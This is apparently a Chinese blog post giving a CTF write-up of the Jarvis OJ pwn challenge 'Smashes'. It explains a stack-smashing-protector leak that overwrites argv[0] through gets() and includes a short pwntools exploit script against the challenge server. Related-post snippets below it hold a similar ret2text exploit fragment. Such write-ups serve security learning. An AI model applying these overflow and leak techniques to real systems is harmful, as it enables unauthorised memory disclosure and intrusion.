(Jarvis Oj)(Pwn) Smashes

canary入门小总结(遇到的新题型:jarvis oj pwn smashes解题以及一些基础了解) 今天的我还是在做pwn题,没怎么看书。本来今天打算做picoCTF的pwn题的,无奈怎么也连不上它的shell。(难受)然后去Jarvis OJ 做pwn题去了。 题目挑着做,总共只做了两题。第一题是简单的栈溢出。第二题就很有趣了,是我没遇过的题 看网上大神们写的writeup叫做canary。 做完题目后稍微去搜索了一下关于这种题目的资料。(这里吐槽一下有些写writeup的博主,本来就是新手题... 阅读详情

(Jarvis Oj)(Pwn) Smashes

查看保护。打开了栈保护。看上去有点麻烦。
这里写图片描述
再来分析下程序代码。如下是主要的函数体部分。
这里写图片描述
这个函数首先让我们输入name字符串,通过gets()函数,是有溢出的,但是在输入过长的字符串时程序会abort。
这里写图片描述
并且提示 ./smashes terminated 这里其实是ssp(Stack Smashing Protector)的提示信息,而./smashes 这里是main函数参数的argv[0],所以这个参数是在栈中的,又有gets()函数不检查字符串长短,通过覆盖到argv[0],就可以构造ssp leak达到任意地址读。接下来的问题就是如何定位到argv,以及泄露什么地方的内容。通过上面的函数,有个overwrite flag的操作,将600d20处的字符串给修改了,跟到这里。
这里写图片描述
发现了很像flag的字串,但服务器上肯定不是这串,既然flag就在程序中,那么泄露的内容就确定了,但是程序执行的过程中会把flag给修改了,这里有个小知识,当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份,gdb查找一下
这里写图片描述
在0x400d21有一处备份,而且程序没有修改,所以我们要泄露的地址就是0x400d21。接下来就是计算padding,由于argv[0]一开始总是运行的程序名,所以先通过gdb查找文件名,在计算距离name变量即栈顶的距离。
这里写图片描述
这里写图片描述

  1 from pwn import *
  2 #conn=process('./smashes')
  3 conn=remote("pwn.jarvisoj.com","9877")
  4 conn.recvuntil("name?");
  5 flag_addr=0x400d20                                                                                                 
  6 payload='a'*0x218+p64(flag_addr)
  7 conn.sendline(payload)
  8 conn.interactive()
【PWN · Stack Smash】[2021 鹤城杯]easyecho Canary保护,是在栈上插入一段随机数;进入函数后,也就是call完后会有push ebp,mov ebp,esp,最后来个mov esp。canary保护特殊在上述操作后会再加一个canary。最后函数leave ret前会检测一次,canary与原先值是否相同来判断是否被栈溢出覆盖返回地址了。然而,Smash这种方法,恰好是利用Canary保护机制,修改相关函数参数,泄露信息。详细介绍Smash的文章不在少数,本文主要聚焦于做出题目,因此重点(但非详细)阐述我所理解的重点部分。 阅读详情

相关推荐

18.9.19 Jarvis OJ PWN----Smashes

先checksec一下 我的天,有栈保护,nx,咋办…… IDA进去,我们可以看见有个函数挺关键的,如下 我们可以看到stdin是可以无限输入的,但是只有接收输入时接收到'\n',才会继续执行(跳出while循环),找不出栈溢出的办法 然后看了大佬的操作之后发现:可以故意触发canary来攻击(SSP(Stack Smashing Protector ) leak) 先介绍一下好...

qq_42192672的博客 656

Jarvis OJ -pwn smashes

pwn smashes 题目分析 检查保护机制 开启NX,canary,fortify 保护,可以得出不能往堆栈中写入shellcode进行控制利用。 ida中打开 输入不正确的canary后,会触发栈保护错误,利用打印出argv[0]的地址覆盖成想要输出内容的地址。 想要输出的flag的地址,在程序中存在,所以能找到。 angv[0]_addr:即程序名的地址。在ma...

hanqdi_的博客 520

Jarvis OJ-PWN

pwnTest_Your_Memory Test_Your_Memory 题目名字和题目没啥关系,真·一点关系也没有。 提供了system()函数 并且在mem_test函数中的输出hint的地址,hint地址内容为cat flag。 所以只需要将返回地址改成system()所在的地址,并将hint的地址传给system就能执行cat flag命令。 from pwn import * r=remote('pwn2.jarvisoj.com',9876) e=ELF('./memory') sys_a

weixin_45461609的博客 367

【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。

question55的博客 192

网鼎杯pwn之GUESS

做了网鼎杯才发现自己有多菜。。。 拿到题目先ida一波 基本分析 看到了发现了是一个本地加载flag.txt所以有可能可以用stack samsh:详细可以看ctf wiki上的花式栈溢出技巧然后拖入gdb 进行一波checksec             可以发现有了nx栈不可执行这个还好,但是看到了cannary就有点头疼了。。还好有stack smash这个方法可以...

Peanuts 2169

如何在Hyper-V、Virtual PC等虚拟机中使用USB设备

今天网盾科技给大家分享一篇在Hyper-V、Virtual PC等虚拟机中使用USB Over network软件用USB设备的方法。 当前Hyper-V Server与Microsoft Virtual PC的虚拟机,不支持USB的设备,如果你有USB设备需要在虚拟机中使用,例如USB的加密狗、智能卡、网上银行的U盾等,可以通过USB Over Network软件,通过网络,使用USB设备。 USB Over Network是一款“客户/服务器”软件,是这么一款功能强大 USB 设备共享软件。它使用方

wangdunkeji_idc的博客 4998

JarvisOJ PWN smashes WP

Smashes 涉及到一些新的知识,以下为转载大佬的一篇博客: 这道题利用是保护机制本身的一种漏洞: 在程序加了canary保护之后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。 而stack smash技巧则就是利用打印这一信息的程序来得到我们想要的内容。 这是因为在程序发现canary保护之后,如果发现canary被修改的话,程序就会执行_...

苗_的博客 516

K-近邻算法: k-nearest neighbor classification (kNN) 详细介绍

@创建于:2020.04.09 @修改于:2020.04.09,2024.06.22 文章目录1、kNN介绍2、k近邻法的三要素详解2.1 距离度量2.2 k值的选择2.3 分类决策规则3、k近邻法的实现:kd树4、Python实现过程5、优缺点6、常见问题 1、kNN介绍 kNN是一个基本而简单的分类算法,作为监督学习,那么KNN模型需要的是有标签的训练数据,对于新样本的类别由与新样本距离最近的k个训练样本点按照分类...

chenhepg的博客 9万+

[Jarvis OJ - PWN]——Smashes

[Jarvis OJ - PWN]——Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。 在IDA中看看 发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。 修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。 我们

Y_peak的博客 322

如何搭建一个vue项目(完整步骤)

查看版本的两种方式 出现版本号则说明安装成功(最新的以官网为准) 这里注意:安装vue-cli对node.js的版本是有要求的 装的两种方式:输入cmd命令 查看安装的版本(显示版本号说明安装成功) 如果你原来有版本或者版本比较低,可以升级...

m0_67392661的博客 5585

华为OD机试2025A卷 - 分苹果(Java & Python& JS & C++ & C )

华为OD机试2025A卷 - 分苹果(Java & Python& JS & C++ & C )

算法大师! 720

Jarvis OJ - 栈系列部分pwn - Writeup

最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeup http://www.cnblogs.com/WangAoBo/p/7591552.html 1 #!/usr/bin/env python ...

baikeng3674的博客 277

Halcon那些事:Halcon非常核心的1个概念reduce_domain算子的理解和1个详细的使用示例

Reduce是减少的意思。并不是真的去裁剪图像,而是定义一个“感兴趣的区域(Region of Interest, ROI)”。后续的图像处理算子将只在这个定义的区域内有效,区域外的像素将被忽略。在一张白纸(完整图像)上放一张镂空的纸板(Domain)。我们后续的绘画(图像处理操作)只会透过镂空的部分影响到下面的白纸。镂空纸板之外的部分保持不变,也不会被处理。关键步骤:使用ReduceDomain,将图像的域限制为ROI区域,图像在原来图像基础上存在图像区域。

十多年IT经验,专注机器视觉,智能制造半导体行业 577

Jarvis OJ pwn wp - Tell Me Something + Smashes

Tell Me Something 栈溢出, ret2text, 白给题, 但是要注意这里的调用约定不是标准的, 所以偏移量就是0x88, 不需要加8 add rsp, 0x88之后就ret了, 所以偏移为0x88, 不是根据IDA反编译的结果来判断 from pwn import * from pwnlib.util.cyclic import cyclic context(arch = 'amd64', os = 'linux', log_level = 'debug') sel = 1 fi

fa1c4的blog 218

11、机器学习中的聚类与隐马尔可夫模型

本文介绍了机器学习中的两种重要方法:聚类算法和隐马尔可夫模型(HMM)。聚类作为无监督学习的代表,适用于发现无标签数据中的结构,常见算法包括K-均值和自组织映射(SOM),并在传感器数据分析等场景中展现应用价值。隐马尔可夫模型则是一种可解释的序列模型,用于从观测数据中推断隐藏状态,广泛应用于语音识别、自然语言处理和生物信息学等领域。文章详细讲解了HMM的核心概念如马尔可夫性质、转移与发射概率,并通过TensorFlow实现了前向算法,展示了其计算观测序列概率的动态规划思想。最后对比了两类方法的应用场景,展望

garlic的博客 179

【RT-DETR有效改进】计算训练好权重文件对应的FPS、推理每张图片的平均时间(科研必备)

本文给大家带来的改进机制是利用我们训练好的权重文件计算FPS,同时打印每张图片所利用的平均时间,模型大小(以MB为单位),同时支持batch_size功能的选择,对于轻量化模型的读者来说,本文的内容对你一定有帮助,可以清晰帮你展示出模型速度性能的提升以及轻量化的效果(模型大小),对于以提高精度为目的的读者本文也能够帮助大家展示出现阶段的模型速度指标。所以本文的内容是十分有用的机制,对于大家发表论文来说,下面的图片为运行后的效果可以看到,该有的指标均已打印(本文内容为我独家创新,全网无第二份)下面是效果图和文

Snu77的博客 3629

Smashes Jarvis OJ

nc pwn.jarvisoj.com 9877 检查开启的保护 liu@ubuntu:~/Desktop$ checksec 2 [*] '/home/liu/Desktop/2' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found #栈保护 NX: NX en...

九层台 740

Java语音革命:用代码打造永不疲倦的AI客服,让客户支持效率飙升300%!

客户支持领域常面临“薛定谔困境”,即无法预知客户来电的意图是投诉还是表扬。通过Java技术,尤其是语音识别和自然语言处理(NLP),可以有效解决这一问题。文章展示了如何利用Java代码构建“声纹量子引擎”,实现客户支持的自动化。核心技术包括录音与预处理、语音识别和语义理解。通过百度AI API和Stanford NLP,系统能够快速、准确地识别客户语音并理解其意图。数据表明,优化后的AI处理时间从15分钟缩短至18秒,语音识别准确率提升至98.5%,并发处理能力达到单实例1000+请求。这些技术显著提升了客

墨夶的博客 1035

jarvis OJ部分writeup

[XMAN]level 0 [XMAN]level 1 —— 简单shellcode利用 [XMAN]level 2 [XMAN]level 3 —— ret2libc尝试 [XMAN]level2&level3 x64 [XMAN]level 4 —— DynELF [XMAN]level 5 smashes ——SSP leak & ELF重映射 Te...

aoque9909的博客 285

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

jarvisoj pwn smashes (2015 32c3-ctf hackme) [Stack Smash]

题目链接: https://www.jarvisoj.com/challenges 题目bin文件来源: github - ctfswriteup - 2015 - 32c3ctf - pwn - hackme   分析过程: 开启了NX与Canary 程序流程: 输入名字之后,即可输入一个地址去覆盖flag~这里涉及的知识点是:Stack Smash 当程序开启了Can...

ACdream 815

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

JarvisOJ smashes

这题仍然是栈溢出题,只不过加入了栈保护CANARY,要做这题,CANARY的作用以及他对栈的影响一定要有所了解,不然将无从下手。 拿到程序,首先查看一下保护: 程序开了CANARY保护,有点麻烦。 对于canary,就是在栈底前面一点点(不一定贴近)加入一串字符,如果你暴力进行栈溢出,你就会覆盖canary,导致程序报错,只是栈的一种保护机制。 我们先进入IDA查看程序逻辑: 我们可以看到在函...

PLpa的博客 415

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

【jarvisoj刷题之旅】pwn题目Tell Me Something的writeup

题目信息: file一下  发现是64位的ELF checksec检查下安全性 objdump -t 文件名   可以查看符号表 iqiqiya@521:~/Desktop/jarvisOJ$ objdump -t guestbook guestbook: file format elf64-x86-64 SYMBOL TABLE: 00000000004002...

iqiqiya的博客 1261

Jarvis OJ --Smashes (SSP leak攻击)

1

Kni9hT's Blog 892

pwn学习-jarvisoj-smashes-利用canary打印信息

下载文件,先检查一下保护机制,开得还挺多的。 反编译一下查看伪代码。 unsigned __int64 sub_4007E0() { __int64 v0; // rbx int v1; // eax __int64 v3; // [rsp+0h] [rbp-128h] unsigned __int64 v4; // [rsp+108h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Hello!\nWhat's

qq_45653588的博客 430
上一篇: (Jarvis Oj)(Pwn) Tell Me Something
下一篇: (Jarvis Oj)(Pwn) Guess
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值